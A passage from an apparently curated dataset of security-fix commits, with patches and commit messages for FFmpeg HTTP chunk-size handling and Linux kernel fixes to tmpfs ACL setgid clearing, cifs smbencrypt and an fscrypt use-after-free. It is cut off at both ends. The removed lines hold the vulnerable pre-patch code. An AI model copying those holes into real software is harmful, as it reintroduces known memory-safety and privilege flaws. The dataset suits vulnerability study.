flags,\n else\n h->is_streamed = 1;\n \n- s->filesize = -1;\n+ s->filesize = UINT64_MAX;\n s->location = av_strdup(uri);\n if (!s->location)\n return AVERROR(ENOMEM);\n", "related": true}, {"section": "@@ -616,9 +616,9 @@ static void parse_content_range(URLContext *h, const char *p)\n \n if (!strncmp(p, \"bytes \", 6)) {\n p += 6;\n- s->off = strtoll(p, NULL, 10);\n+ s->off = strtoull(p, NULL, 10);\n if ((slash = strchr(p, '/')) && strlen(slash) > 0)\n- s->filesize = strtoll(slash + 1, NULL, 10);\n+ s->filesize = strtoull(slash + 1, NULL, 10);\n }\n if (s->seekable == -1 && (!s->is_akamai || s->filesize != 2147483647))\n h->is_streamed = 0; /* we _can_ in fact seek */\n", "related": true}, {"section": "@@ -808,8 +808,9 @@ static int process_line(URLContext *h, char *line, int line_count,\n if ((ret = parse_location(s, p)) < 0)\n return ret;\n *new_location = 1;\n- } else if (!av_strcasecmp(tag, \"Content-Length\") && s->filesize == -1) {\n- s->filesize = strtoll(p, NULL, 10);\n+ } else if (!av_strcasecmp(tag, \"Content-Length\") &&\n+ s->filesize == UINT64_MAX) {\n+ s->filesize = strtoull(p, NULL, 10);\n } else if (!av_strcasecmp(tag, \"Content-Range\")) {\n parse_content_range(h, p);\n } else if (!av_strcasecmp(tag, \"Accept-Ranges\") &&\n", "related": true}, {"section": "@@ -818,7 +819,7 @@ static int process_line(URLContext *h, char *line, int line_count,\n h->is_streamed = 0;\n } else if (!av_strcasecmp(tag, \"Transfer-Encoding\") &&\n !av_strncasecmp(p, \"chunked\", 7)) {\n- s->filesize = -1;\n+ s->filesize = UINT64_MAX;\n s->chunksize = 0;\n } else if (!av_strcasecmp(tag, \"WWW-Authenticate\")) {\n ff_http_auth_handle_header(&s->auth_state, tag, p);\n", "related": true}, {"section": "@@ -842,7 +843,7 @@ static int process_line(URLContext *h, char *line, int line_count,\n if (parse_cookie(s, p, &s->cookie_dict))\n av_log(h, AV_LOG_WARNING, \"Unable to parse '%s'\\n\", p);\n } else if (!av_strcasecmp(tag, \"Icy-MetaInt\")) {\n- s->icy_metaint = strtoll(p, NULL, 10);\n+ s->icy_metaint = strtoull(p, NULL, 10);\n } else if (!av_strncasecmp(tag, \"Icy-\", 4)) {\n if ((ret = parse_icy(s, tag, p)) < 0)\n return ret;\n", "related": true}, {"section": "@@ -972,7 +973,7 @@ static int http_read_header(URLContext *h, int *new_location)\n char line[MAX_URL_SIZE];\n int err = 0;\n \n- s->chunksize = -1;\n+ s->chunksize = UINT64_MAX;\n \n for (;;) {\n if ((err = http_get_line(s, line, sizeof(line))) < 0)\n", "related": true}, {"section": "@@ -1006,7 +1007,7 @@ static int http_connect(URLContext *h, const char *path, const char *local_path,\n int post, err;\n char headers[HTTP_HEADERS_SIZE] = \"\";\n char *authstr = NULL, *proxyauthstr = NULL;\n- int64_t off = s->off;\n+ uint64_t off = s->off;\n int len = 0;\n const char *method;\n int send_expect_100 = 0;\n", "related": true}, {"section": "@@ -1060,7 +1061,7 @@ static int http_connect(URLContext *h, const char *path, const char *local_path,\n // server supports seeking by analysing the reply headers.\n if (!has_header(s->headers, \"\\r\\nRange: \") && !post && (s->off > 0 || s->end_off || s->seekable == -1)) {\n len += av_strlcatf(headers + len, sizeof(headers) - len,\n- \"Range: bytes=%\"PRId64\"-\", s->off);\n+ \"Range: bytes=%\"PRIu64\"-\", s->off);\n if (s->end_off)\n len += av_strlcatf(headers + len, sizeof(headers) - len,\n \"%\"PRId64, s->end_off - 1);\n", "related": true}, {"section": "@@ -1135,7 +1136,7 @@ static int http_connect(URLContext *h, const char *path, const char *local_path,\n s->line_count = 0;\n s->off = 0;\n s->icy_data_read = 0;\n- s->filesize = -1;\n+ s->filesize = UINT64_MAX;\n s->willclose = 0;\n s->end_chunked_post = 0;\n s->end_header = 0;\n", "related": true}, {"section": "@@ -1175,15 +1176,13 @@ static int http_buf_read(URLContext *h, uint8_t *buf, int size)\n memcpy(buf, s->buf_ptr, len);\n s->buf_ptr += len;\n } else {\n- int64_t target_end = s->end_off ? s->end_off : s->filesize;\n- if ((!s->willclose || s->chunksize < 0) &&\n- target_end >= 0 && s->off >= target_end)\n+ uint64_t target_end = s->end_off ? s->end_off : s->filesize;\n+ if ((!s->willclose || s->chunksize == UINT64_MAX) && s->off >= target_end)\n return AVERROR_EOF;\n len = ffurl_read(s->hd, buf, size);\n- if (!len && (!s->willclose || s->chunksize < 0) &&\n- target_end >= 0 && s->off < target_end) {\n+ if (!len && (!s->willclose || s->chunksize == UINT64_MAX) && s->off < target_end) {\n av_log(h, AV_LOG_ERROR,\n- \"Stream ends prematurely at %\"PRId64\", should be %\"PRId64\"\\n\",\n+ \"Stream ends prematurely at %\"PRIu64\", should be %\"PRIu64\"\\n\",\n s->off, target_end\n );\n return AVERROR(EIO);\n", "related": true}, {"section": "@@ -1247,7 +1246,7 @@ static int http_read_stream(URLContext *h, uint8_t *buf, int size)\n return err;\n }\n \n- if (s->chunksize >= 0) {\n+ if (s->chunksize != UINT64_MAX) {\n if (!s->chunksize) {\n char line[32];\n \n", "related": true}, {"section": "@@ -1256,13 +1255,19 @@ static int http_read_stream(URLContext *h, uint8_t *buf, int size)\n return err;\n } while (!*line); /* skip CR LF from last chunk */\n \n- s->chunksize = strtoll(line, NULL, 16);\n+ s->chunksize = strtoull(line, NULL, 16);\n \n- av_log(NULL, AV_LOG_TRACE, \"Chunked encoding data size: %\"PRId64\"'\\n\",\n+ av_log(h, AV_LOG_TRACE,\n+ \"Chunked encoding data size: %\"PRIu64\"'\\n\",\n s->chunksize);\n \n if (!s->chunksize)\n return 0;\n+ else if (s->chunksize == UINT64_MAX) {\n+ av_log(h, AV_LOG_ERROR, \"Invalid chunk size %\"PRIu64\"\\n\",\n+ s->chunksize);\n+ return AVERROR(EINVAL);\n+ }\n }\n size = FFMIN(size, s->chunksize);\n }\n", "related": true}, {"section": "@@ -1273,17 +1278,17 @@ static int http_read_stream(URLContext *h, uint8_t *buf, int size)\n read_ret = http_buf_read(h, buf, size);\n if ( (read_ret < 0 && s->reconnect && (!h->is_streamed || s->reconnect_streamed) && s->filesize > 0 && s->off < s->filesize)\n || (read_ret == 0 && s->reconnect_at_eof && (!h->is_streamed || s->reconnect_streamed))) {\n- int64_t target = h->is_streamed ? 0 : s->off;\n+ uint64_t target = h->is_streamed ? 0 : s->off;\n \n if (s->reconnect_delay > s->reconnect_delay_max)\n return AVERROR(EIO);\n \n- av_log(h, AV_LOG_INFO, \"Will reconnect at %\"PRId64\" error=%s.\\n\", s->off, av_err2str(read_ret));\n+ av_log(h, AV_LOG_INFO, \"Will reconnect at %\"PRIu64\" error=%s.\\n\", s->off, av_err2str(read_ret));\n av_usleep(1000U*1000*s->reconnect_delay);\n s->reconnect_delay = 1 + 2*s->reconnect_delay;\n seek_ret = http_seek_internal(h, target, SEEK_SET, 1);\n if (seek_ret != target) {\n- av_log(h, AV_LOG_ERROR, \"Failed to reconnect at %\"PRId64\".\\n\", target);\n+ av_log(h, AV_LOG_ERROR, \"Failed to reconnect at %\"PRIu64\".\\n\", target);\n return read_ret;\n }\n \n", "related": true}, {"section": "@@ -1338,10 +1343,11 @@ static int store_icy(URLContext *h, int size)\n {\n HTTPContext *s = h->priv_data;\n /* until next metadata packet */\n- int remaining = s->icy_metaint - s->icy_data_read;\n+ uint64_t remaining;\n \n- if (remaining < 0)\n+ if (s->icy_metaint < s->icy_data_read)\n return AVERROR_INVALIDDATA;\n+ remaining = s->icy_metaint - s->icy_data_read;\n \n if (!remaining) {\n /* The metadata packet is variable sized. It has a 1 byte header\n", "related": true}, {"section": "@@ -1455,7 +1461,7 @@ static int64_t http_seek_internal(URLContext *h, int64_t off, int whence, int fo\n {\n HTTPContext *s = h->priv_data;\n URLContext *old_hd = s->hd;\n- int64_t old_off = s->off;\n+ uint64_t old_off = s->off;\n uint8_t old_buf[BUFFER_SIZE];\n int old_buf_size, ret;\n AVDictionary *options = NULL;\n", "related": true}, {"section": "@@ -1466,7 +1472,7 @@ static int64_t http_seek_internal(URLContext *h, int64_t off, int whence, int fo\n ((whence == SEEK_CUR && off == 0) ||\n (whence == SEEK_SET && off == s->off)))\n return s->off;\n- else if ((s->filesize == -1 && whence == SEEK_END))\n+ else if ((s->filesize == UINT64_MAX && whence == SEEK_END))\n return AVERROR(ENOSYS);\n \n if (whence == SEEK_CUR)\n", "related": true}, {"section": "@@ -1621,7 +1627,7 @@ static int http_proxy_open(URLContext *h, const char *uri, int flags)\n s->buf_ptr = s->buffer;\n s->buf_end = s->buffer;\n s->line_count = 0;\n- s->filesize = -1;\n+ s->filesize = UINT64_MAX;\n cur_auth_type = s->proxy_auth_state.auth_type;\n \n /* Note: This uses buffering, potentially reading more than the", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/posix_acl.c", "commit_id": "497de07d89c1410d76a15bec2bb41f24a2a89f31", "commit_message": "tmpfs: clear S_ISGID when setting posix ACLs\n\nThis change was missed the tmpfs modification in In CVE-2016-7097\ncommit 073931017b49 (\"posix_acl: Clear SGID bit when setting\nfile permissions\")\nIt can test by xfstest generic/375, which failed to clear\nsetgid bit in the following test case on tmpfs:\n\n touch $testfile\n chown 100:100 $testfile\n chmod 2755 $testfile\n _runas -u 100 -g 101 -- setfacl -m u::rwx,g::rwx,o::rwx $testfile\n\nSigned-off-by: Gu Zheng \nSigned-off-by: Al Viro ", "patch": "@@ -922,11 +922,10 @@ int simple_set_acl(struct inode *inode, struct posix_acl *acl, int type)\n \tint error;\n \n \tif (type == ACL_TYPE_ACCESS) {\n-\t\terror = posix_acl_equiv_mode(acl, &inode->i_mode);\n-\t\tif (error < 0)\n-\t\t\treturn 0;\n-\t\tif (error == 0)\n-\t\t\tacl = NULL;\n+\t\terror = posix_acl_update_mode(inode,\n+\t\t\t\t&inode->i_mode, &acl);\n+\t\tif (error)\n+\t\t\treturn error;\n \t}\n \n \tinode->i_ctime = current_time(inode);", "sections": [{"section": "@@ -922,11 +922,10 @@ int simple_set_acl(struct inode *inode, struct posix_acl *acl, int type)\n \tint error;\n \n \tif (type == ACL_TYPE_ACCESS) {\n-\t\terror = posix_acl_equiv_mode(acl, &inode->i_mode);\n-\t\tif (error < 0)\n-\t\t\treturn 0;\n-\t\tif (error == 0)\n-\t\t\tacl = NULL;\n+\t\terror = posix_acl_update_mode(inode,\n+\t\t\t\t&inode->i_mode, &acl);\n+\t\tif (error)\n+\t\t\treturn error;\n \t}\n \n \tinode->i_ctime = current_time(inode);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/cifs/smbencrypt.c", "commit_id": "06deeec77a5a689cc94b21a8a91a76e42176685d", "commit_message": "cifs: Fix smbencrypt() to stop pointing a scatterlist at the stack\n\nsmbencrypt() points a scatterlist to the stack, which is breaks if\nCONFIG_VMAP_STACK=y.\n\nFix it by switching to crypto_cipher_encrypt_one(). The new code\nshould be considerably faster as an added benefit.\n\nThis code is nearly identical to some code that Eric Biggers\nsuggested.\n\nCc: stable@vger.kernel.org # 4.9 only\nReported-by: Eric Biggers \nSigned-off-by: Andy Lutomirski \nAcked-by: Jeff Layton \nSigned-off-by: Steve French ", "patch": "@@ -23,7 +23,7 @@\n Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n */\n \n-#include \n+#include \n #include \n #include \n #include \n@@ -69,46 +69,22 @@ str_to_key(unsigned char *str, unsigned char *key)\n static int\n smbhash(unsigned char *out, const unsigned char *in, unsigned char *key)\n {\n-\tint rc;\n \tunsigned char key2[8];\n-\tstruct crypto_skcipher *tfm_des;\n-\tstruct scatterlist sgin, sgout;\n-\tstruct skcipher_request *req;\n+\tstruct crypto_cipher *tfm_des;\n \n \tstr_to_key(key, key2);\n \n-\ttfm_des = crypto_alloc_skcipher(\"ecb(des)\", 0, CRYPTO_ALG_ASYNC);\n+\ttfm_des = crypto_alloc_cipher(\"des\", 0, 0);\n \tif (IS_ERR(tfm_des)) {\n-\t\trc = PTR_ERR(tfm_des);\n-\t\tcifs_dbg(VFS, \"could not allocate des crypto API\\n\");\n-\t\tgoto smbhash_err;\n-\t}\n-\n-\treq = skcipher_request_alloc(tfm_des, GFP_KERNEL);\n-\tif (!req) {\n-\t\trc = -ENOMEM;\n \t\tcifs_dbg(VFS, \"could not allocate des crypto API\\n\");\n-\t\tgoto smbhash_free_skcipher;\n+\t\treturn PTR_ERR(tfm_des);\n \t}\n \n-\tcrypto_skcipher_setkey(tfm_des, key2, 8);\n-\n-\tsg_init_one(&sgin, in, 8);\n-\tsg_init_one(&sgout, out, 8);\n+\tcrypto_cipher_setkey(tfm_des, key2, 8);\n+\tcrypto_cipher_encrypt_one(tfm_des, out, in);\n+\tcrypto_free_cipher(tfm_des);\n \n-\tskcipher_request_set_callback(req, 0, NULL, NULL);\n-\tskcipher_request_set_crypt(req, &sgin, &sgout, 8, NULL);\n-\n-\trc = crypto_skcipher_encrypt(req);\n-\tif (rc)\n-\t\tcifs_dbg(VFS, \"could not encrypt crypt key rc: %d\\n\", rc);\n-\n-\tskcipher_request_free(req);\n-\n-smbhash_free_skcipher:\n-\tcrypto_free_skcipher(tfm_des);\n-smbhash_err:\n-\treturn rc;\n+\treturn 0;\n }\n \n static int", "sections": [{"section": "@@ -23,7 +23,7 @@\n Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n */\n \n-#include \n+#include \n #include \n #include \n #include \n", "related": false}, {"section": "@@ -69,46 +69,22 @@ str_to_key(unsigned char *str, unsigned char *key)\n static int\n smbhash(unsigned char *out, const unsigned char *in, unsigned char *key)\n {\n-\tint rc;\n \tunsigned char key2[8];\n-\tstruct crypto_skcipher *tfm_des;\n-\tstruct scatterlist sgin, sgout;\n-\tstruct skcipher_request *req;\n+\tstruct crypto_cipher *tfm_des;\n \n \tstr_to_key(key, key2);\n \n-\ttfm_des = crypto_alloc_skcipher(\"ecb(des)\", 0, CRYPTO_ALG_ASYNC);\n+\ttfm_des = crypto_alloc_cipher(\"des\", 0, 0);\n \tif (IS_ERR(tfm_des)) {\n-\t\trc = PTR_ERR(tfm_des);\n-\t\tcifs_dbg(VFS, \"could not allocate des crypto API\\n\");\n-\t\tgoto smbhash_err;\n-\t}\n-\n-\treq = skcipher_request_alloc(tfm_des, GFP_KERNEL);\n-\tif (!req) {\n-\t\trc = -ENOMEM;\n \t\tcifs_dbg(VFS, \"could not allocate des crypto API\\n\");\n-\t\tgoto smbhash_free_skcipher;\n+\t\treturn PTR_ERR(tfm_des);\n \t}\n \n-\tcrypto_skcipher_setkey(tfm_des, key2, 8);\n-\n-\tsg_init_one(&sgin, in, 8);\n-\tsg_init_one(&sgout, out, 8);\n+\tcrypto_cipher_setkey(tfm_des, key2, 8);\n+\tcrypto_cipher_encrypt_one(tfm_des, out, in);\n+\tcrypto_free_cipher(tfm_des);\n \n-\tskcipher_request_set_callback(req, 0, NULL, NULL);\n-\tskcipher_request_set_crypt(req, &sgin, &sgout, 8, NULL);\n-\n-\trc = crypto_skcipher_encrypt(req);\n-\tif (rc)\n-\t\tcifs_dbg(VFS, \"could not encrypt crypt key rc: %d\\n\", rc);\n-\n-\tskcipher_request_free(req);\n-\n-smbhash_free_skcipher:\n-\tcrypto_free_skcipher(tfm_des);\n-smbhash_err:\n-\treturn rc;\n+\treturn 0;\n }\n \n static int", "related": true}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/crypto/keyinfo.c", "commit_id": "1b53cf9815bb4744958d41f3795d5d5a1d365e2d", "commit_message": "fscrypt: remove broken support for detecting keyring key revocation\n\nFilesystem encryption ostensibly supported revoking a keyring key that\nhad been used to \"unlock\" encrypted files, causing those files to become\n\"locked\" again. This was, however, buggy for several reasons, the most\nsevere of which was that when key revocation happened to be detected for\nan inode, its fscrypt_info was immediately freed, even while other\nthreads could be using it for encryption or decryption concurrently.\nThis could be exploited to crash the kernel or worse.\n\nThis patch fixes the use-after-free by removing the code which detects\nthe keyring key having been revoked, invalidated, or expired. Instead,\nan encrypted inode that is \"unlocked\" now simply remains unlocked until\nit is evicted from memory. Note that this is no worse than the case for\nblock device-level encryption, e.g. dm-crypt, and it still remains\npossible for a privileged user to evict unused pages, inodes, and\ndentries by running 'sync; echo 3 > /proc/sys/vm/drop_caches', or by\nsimply unmounting the filesystem. In fact, one of those actions was\nalready needed anyway for key revocation to work even somewhat sanely.\nThis change is not expected to break any applications.\n\nIn the future I'd like to implement a real API for fscrypt key\nrevocation that interacts sanely with ongoing filesystem operations ---\nwaiting for existing operations to complete and blocking new operations,\nand invalidating and sanitizing key material and plaintext from the VFS\ncaches. But this is a hard problem, and for now this bug must be fixed.\n\nThis bug affected almost all versions of ext4, f2fs, and ubifs\nencryption, and it was potentially reachable in any kernel configured\nwith encryption support (CONFIG_EXT4_ENCRYPTION=y,\nCONFIG_EXT4_FS_ENCRYPTION=y, CONFIG_F2FS_FS_ENCRYPTION=y, or\nCONFIG_UBIFS_FS_ENCRYPTION=y). Note that older kernels did not use the\nshared fs/crypto/ code, but due to the potential security implications\nof this bug, it may still be worthwhile to backport this fix to them.\n\nFixes: b7236e21d55f (\"ext4 crypto: reorganize how we store keys in the inode\")\nCc: stable@vger.kernel.org # v4.2+\nSigned-off-by: Eric Biggers \nSigned-off-by: Theodore Ts'o \nAcked-by: Michael Halcrow ", "patch": "@@ -95,18 +95,17 @@ static int validate_user_key(struct fscrypt_info *crypt_info,\n \tkfree(description);\n \tif (IS_ERR(keyring_key))\n \t\treturn PTR_ERR(keyring_key);\n+\tdown_read(&keyring_key->sem);\n \n \tif (keyring_key->type != &key_type_logon) {\n \t\tprintk_once(KERN_WARNING\n \t\t\t\t\"%s: key type must be logon\\n\", __func__);\n \t\tres = -ENOKEY;\n \t\tgoto out;\n \t}\n-\tdown_read(&keyring_key->sem);\n \tukp = user_key_payload(keyring_key);\n \tif (ukp->datalen != sizeof(struct fscrypt_key)) {\n \t\tres = -EINVAL;\n-\t\tup_read(&keyring_key->sem);\n \t\tgoto out;\n \t}\n \tmaster_key = (struct fscrypt_key *)ukp->data;\n@@ -117,17 +116,11 @@ static int validate_user_key(struct fscrypt_info *crypt_info,\n \t\t\t\t\"%s: key size incorrect: %d\\n\",\n \t\t\t\t__func__, master_key->size);\n \t\tres = -ENOKEY;\n-\t\tup_read(&keyring_key->sem);\n \t\tgoto out;\n \t}\n \tres = derive_key_aes(ctx->nonce, master_key->raw, raw_key);\n-\tup_read(&keyring_key->sem);\n-\tif (res)\n-\t\tgoto out;\n-\n-\tcrypt_info->ci_keyring_key = keyring_key;\n-\treturn 0;\n out:\n+\tup_read(&keyring_key->sem);\n \tkey_put(keyring_key);\n \treturn res;\n }\n@@ -169,12 +162,11 @@ static void put_crypt_info(struct fscrypt_info *ci)\n \tif (!ci)\n \t\treturn;\n \n-\tkey_put(ci->ci_keyring_key);\n \tcrypto_free_skcipher(ci->ci_ctfm);\n \tkmem_cache_free(fscrypt_info_cachep, ci);\n }\n \n-int fscrypt_get_crypt_info(struct inode *inode)\n+int fscrypt_get_encryption_info(struct inode *inode)\n {\n \tstruct fscrypt_info *crypt_info;\n \tstruct fscrypt_context ctx;\n@@ -184,21 +176,15 @@ int fscrypt_get_crypt_info(struct inode *inode)\n \tu8 *raw_key = NULL;\n \tint res;\n \n+\tif (inode->i_crypt_info)\n+\t\treturn 0;\n+\n \tres = fscrypt_initialize(inode->i_sb->s_cop->flags);\n \tif (res)\n \t\treturn res;\n \n \tif (!inode->i_sb->s_cop->get_context)\n \t\treturn -EOPNOTSUPP;\n-retry:\n-\tcrypt_info = ACCESS_ONCE(inode->i_crypt_info);\n-\tif (crypt_info) {\n-\t\tif (!crypt_info->ci_keyring_key ||\n-\t\t\t\tkey_validate(crypt_info->ci_keyring_key) == 0)\n-\t\t\treturn 0;\n-\t\tfscrypt_put_encryption_info(inode, crypt_info);\n-\t\tgoto retry;\n-\t}\n \n \tres = inode->i_sb->s_cop->get_context(inode, &ctx, sizeof(ctx));\n \tif (res < 0) {\n@@ -229,7 +215,6 @@ int fscrypt_get_crypt_info(struct inode *inode)\n \tcrypt_info->ci_data_mode = ctx.contents_encryption_mode;\n \tcrypt_info->ci_filename_mode = ctx.filenames_encryption_mode;\n \tcrypt_info->ci_ctfm = NULL;\n-\tcrypt_info->ci_keyring_key = NULL;\n \tmemcpy(crypt_info->ci_master_key, ctx.master_key_descriptor,\n \t\t\t\tsizeof(crypt_info->ci_master_key));\n \n@@ -273,21 +258,16 @@ int fscrypt_get_crypt_info(struct inode *inode)\n \tif (res)\n \t\tgoto out;\n \n-\tkzfree(raw_key);\n-\traw_key = NULL;\n-\tif (cmpxchg(&inode->i_crypt_info, NULL, crypt_info) != NULL) {\n-\t\tput_crypt_info(crypt_info);\n-\t\tgoto retry;\n-\t}\n-\treturn 0;\n-\n+\tif (cmpxchg(&inode->i_crypt_info, NULL, crypt_info) == NULL)\n+\t\tcrypt_info = NULL;\n out:\n \tif (res == -ENOKEY)\n \t\tres = 0;\n \tput_crypt_info(crypt_info);\n \tkzfree(raw_key);\n \treturn res;\n }\n+EXPORT_SYMBOL(fscrypt_get_encryption_info);\n \n void fscrypt_put_encryption_info(struct inode *inode, struct fscrypt_info *ci)\n {\n@@ -305,17 +285,3 @@ void fscrypt_put_encryption_info(struct inode *inode, struct fscrypt_info *ci)\n \tput_crypt_info(ci);\n }\n EXPORT_SYMBOL(fscrypt_put_encryption_info);\n-\n-int fscrypt_get_encryption_info(struct inode *inode)\n-{\n-\tstruct fscrypt_info *ci = inode->i_crypt_info;\n-\n-\tif (!ci ||\n-\t\t(ci->ci_keyring_key &&\n-\t\t (ci->ci_keyring_key->flags & ((1 << KEY_FLAG_INVALIDATED) |\n-\t\t\t\t\t (1 << KEY_FLAG_REVOKED) |\n-\t\t\t\t\t (1 << KEY_FLAG_DEAD)))))\n-\t\treturn fscrypt_get_crypt_info(inode);\n-\treturn 0;\n-}\n-EXPORT_SYMBOL(fscrypt_get_encryption_info);", "sections": [{"section": "@@ -95,18 +95,17 @@ static int validate_user_key(struct fscrypt_info *crypt_info,\n \tkfree(description);\n \tif (IS_ERR(keyring_key))\n \t\treturn PTR_ERR(keyring_key);\n+\tdown_read(&keyring_key->sem);\n \n \tif (keyring_key->type != &key_type_logon) {\n \t\tprintk_once(KERN_WARNING\n \t\t\t\t\"%s: key type must be logon\\n\", __func__);\n \t\tres = -ENOKEY;\n \t\tgoto out;\n \t}\n-\tdown_read(&keyring_key->sem);\n \tukp = user_key_payload(keyring_key);\n \tif (ukp->datalen != sizeof(struct fscrypt_key)) {\n \t\tres = -EINVAL;\n-\t\tup_read(&keyring_key->sem);\n \t\tgoto out;\n \t}\n \tmaster_key = (struct fscrypt_key *)ukp->data;\n", "related": false}, {"section": "@@ -117,17 +116,11 @@ static int validate_user_key(struct fscrypt_info *crypt_info,\n \t\t\t\t\"%s: key size incorrect: %d\\n\",\n \t\t\t\t__func__, master_key->size);\n \t\tres = -ENOKEY;\n-\t\tup_read(&keyring_key->sem);\n \t\tgoto out;\n \t}\n \tres = derive_key_aes(ctx->nonce, master_key->raw, raw_key);\n-\tup_read(&keyring_key->sem);\n-\tif (res)\n-\t\tgoto out;\n-\n-\tcrypt_info->ci_keyring_key = keyring_key;\n-\treturn 0;\n out:\n+\tup_read(&keyring_key->sem);\n \tkey_put(keyring_key);\n \treturn res;\n }\n", "related": false}, {"section": "@@ -169,12 +162,11 @@ static void put_crypt_info(struct fscrypt_info *ci)\n \tif (!ci)\n \t\treturn;\n \n-\tkey_put(ci->ci_keyring_key);\n \tcrypto_free_skcipher(ci->ci_ctfm);\n \tkmem_cache_free(fscrypt_info_cachep, ci);\n }\n \n-int fscrypt_get_crypt_info(struct inode *inode)\n+int fscrypt_get_encryption_info(struct inode *inode)\n {\n \tstruct fscrypt_info *crypt_info;\n \tstruct fscrypt_context ctx;\n", "related": false}, {"section": "@@ -184,21 +176,15 @@ int fscrypt_get_crypt_info(struct inode *inode)\n \tu8 *raw_key = NULL;\n \tint res;\n \n+\tif (inode->i_crypt_info)\n+\t\treturn 0;\n+\n \tres = fscrypt_initialize(inode->i_sb->s_cop->flags);\n \tif (res)\n \t\treturn res;\n \n \tif (!inode->i_sb->s_cop->get_context)\n \t\treturn -EOPNOTSUPP;\n-retry:\n-\tcrypt_info = ACCESS_ONCE(inode->i_crypt_info);\n-\tif (crypt_info) {\n-\t\tif (!crypt_info->ci_keyring_key ||\n-\t\t\t\tkey_validate(crypt_info->ci_keyring_key) == 0)\n-\t\t\treturn 0;\n-\t\tfscrypt_put_encryption_info(inode, crypt_info);\n-\t\tgoto retry;\n-\t}\n \n \tres = inode->i_sb->s_cop->get_context(inode, &ctx, sizeof(ctx));\n \tif (res < 0) {\n", "related": false}, {"section": "@@ -229,7 +215,6 @@ int fscrypt_get_crypt_info(struct inode *inode)\n \tcrypt_info->ci_data_mode = ctx.contents_encryption_mode;\n \tcrypt_info->ci_filename_mode = ctx.filenames_encryption_mode;\n \tcrypt_info->ci_ctfm = NULL;\n-\tcrypt_info->ci_keyring_key = NULL;\n \tmemcpy(crypt_info->ci_master_key, ctx.master_key_descriptor,\n \t\t\t\tsizeof(crypt_info->ci_master_key));\n \n", "related": false}, {"section": "@@ -273,21 +258,16 @@ int fscrypt_get_crypt_info(struct inode *inode)\n \tif (res)\n \t\tgoto out;\n \n-\tkzfree(raw_key);\n-\traw_key = NULL;\n-\tif (cmpxchg(&inode->i_crypt_info, NULL, crypt_info) != NULL) {\n-\t\tput_crypt_info(crypt_info);\n-\t\tgoto retry;\n-\t}\n-\treturn 0;\n-\n+\tif (cmpxchg(&inode->i_crypt_info, NULL, crypt_info) == NULL)\n+\t\tcrypt_info = NULL;\n out:\n \tif (res == -ENOKEY)\n \t\tres = 0;\n \tput_crypt_info(crypt_info);\n \tkzfree(raw_key);\n \treturn res;\n }\n+EXPORT_SYMBOL(fscrypt_get_encryption_info);\n \n void fscrypt_put_encryption_info(struct inode *inode, struct fscrypt_info *ci)\n {\n", "related": false}, {"section": "@@ -305,17 +285,3 @@ void fscrypt_put_encryption_info(struct inode *inode, struct fscrypt_info *ci)\n \tput_crypt_info(ci);\n }\n EXPORT_SYMBOL(fscrypt_put_encryption_info);\n-\n-int fscrypt_get_encryption_info(struct inode *inode)\n-{\n-\tstruct fscrypt_info *ci = inode->i_crypt_info;\n-\n-\tif (!ci ||\n-\t\t(ci->ci_keyring_key &&\n-\t\t (ci->ci_keyring_key->flags & ((1 << KEY_FLAG_INVALIDATED) |\n-\t\t\t\t\t (1 << KEY_FLAG_REVOKED) |\n-\t\t\t\t\t (1 << KEY_FLAG_DEAD)))))\n-\t\treturn fscrypt_get_crypt_info(inode);\n-\treturn 0;\n-}\n-EXPORT_SYMBOL(fscrypt_get_encryption_info);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "include/keys/user-type.h", "commit_id": "c06cfb08b88dfbe13be44a69ae2fdc3a7c902d81", "commit_message": "KEYS: Remove key_type::match in favour of overriding default by match_preparse\n\nA previous patch added a ->match_preparse() method to the key type. This is\nallowed to override the function called by the iteration algorithm.\nTherefore, we can just set a default that simply checks for an exact match of\nthe key description with the original criterion data and allow match_preparse\nto override it as needed.\n\nThe key_type::match op is then redundant and can be removed, as can the\nuser_match() function.\n\nSigned-off-by: David Howells \nAcked-by: Vivek Goyal ", "patch": "@@ -36,13 +36,10 @@ extern struct key_type key_type_user;\n extern struct key_type key_type_logon;\n \n struct key_preparsed_payload;\n-struct key_match_data;\n \n extern int user_preparse(struct key_preparsed_payload *prep);\n extern void user_free_preparse(struct key_preparsed_payload *prep);\n extern int user_update(struct key *key, struct key_preparsed_payload *prep);\n-extern int user_match(const struct key *key,\n-\t\t const struct key_match_data *match_data);\n extern void user_revoke(struct key *key);\n extern void user_destroy(struct key *key);\n extern void user_describe(const struct key *user, struct seq_file *m);", "sections": [{"section": "@@ -36,13 +36,10 @@ extern struct key_type key_type_user;\n extern struct key_type key_type_logon;\n \n struct key_preparsed_payload;\n-struct key_match_data;\n \n extern int user_preparse(struct key_preparsed_payload *prep);\n extern void user_free_preparse(struct key_preparsed_payload *prep);\n extern int user_update(struct key *key, struct key_preparsed_payload *prep);\n-extern int user_match(const struct key *key,\n-\t\t const struct key_match_data *match_data);\n extern void user_revoke(struct key *key);\n extern void user_destroy(struct key *key);\n extern void user_describe(const struct key *user, struct seq_file *m);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "security/keys/request_key.c", "commit_id": "c06cfb08b88dfbe13be44a69ae2fdc3a7c902d81", "commit_message": "KEYS: Remove key_type::match in favour of overriding default by match_preparse\n\nA previous patch added a ->match_preparse() method to the key type. This is\nallowed to override the function called by the iteration algorithm.\nTherefore, we can just set a default that simply checks for an exact match of\nthe key description with the original criterion data and allow match_preparse\nto override it as needed.\n\nThe key_type::match op is then redundant and can be removed, as can the\nuser_match() function.\n\nSigned-off-by: David Howells \nAcked-by: Vivek Goyal ", "patch": "@@ -531,7 +531,7 @@ struct key *request_key_and_link(struct key_type *type,\n \t\t.index_key.type\t\t= type,\n \t\t.index_key.description\t= description,\n \t\t.cred\t\t\t= current_cred(),\n-\t\t.match_data.cmp\t\t= type->match,\n+\t\t.match_data.cmp\t\t= key_default_cmp,\n \t\t.match_data.raw_data\t= description,\n \t\t.match_data.lookup_type\t= KEYRING_SEARCH_LOOKUP_DIRECT,\n \t};", "sections": [{"section": "@@ -531,7 +531,7 @@ struct key *request_key_and_link(struct key_type *type,\n \t\t.index_key.type\t\t= type,\n \t\t.index_key.description\t= description,\n \t\t.cred\t\t\t= current_cred(),\n-\t\t.match_data.cmp\t\t= 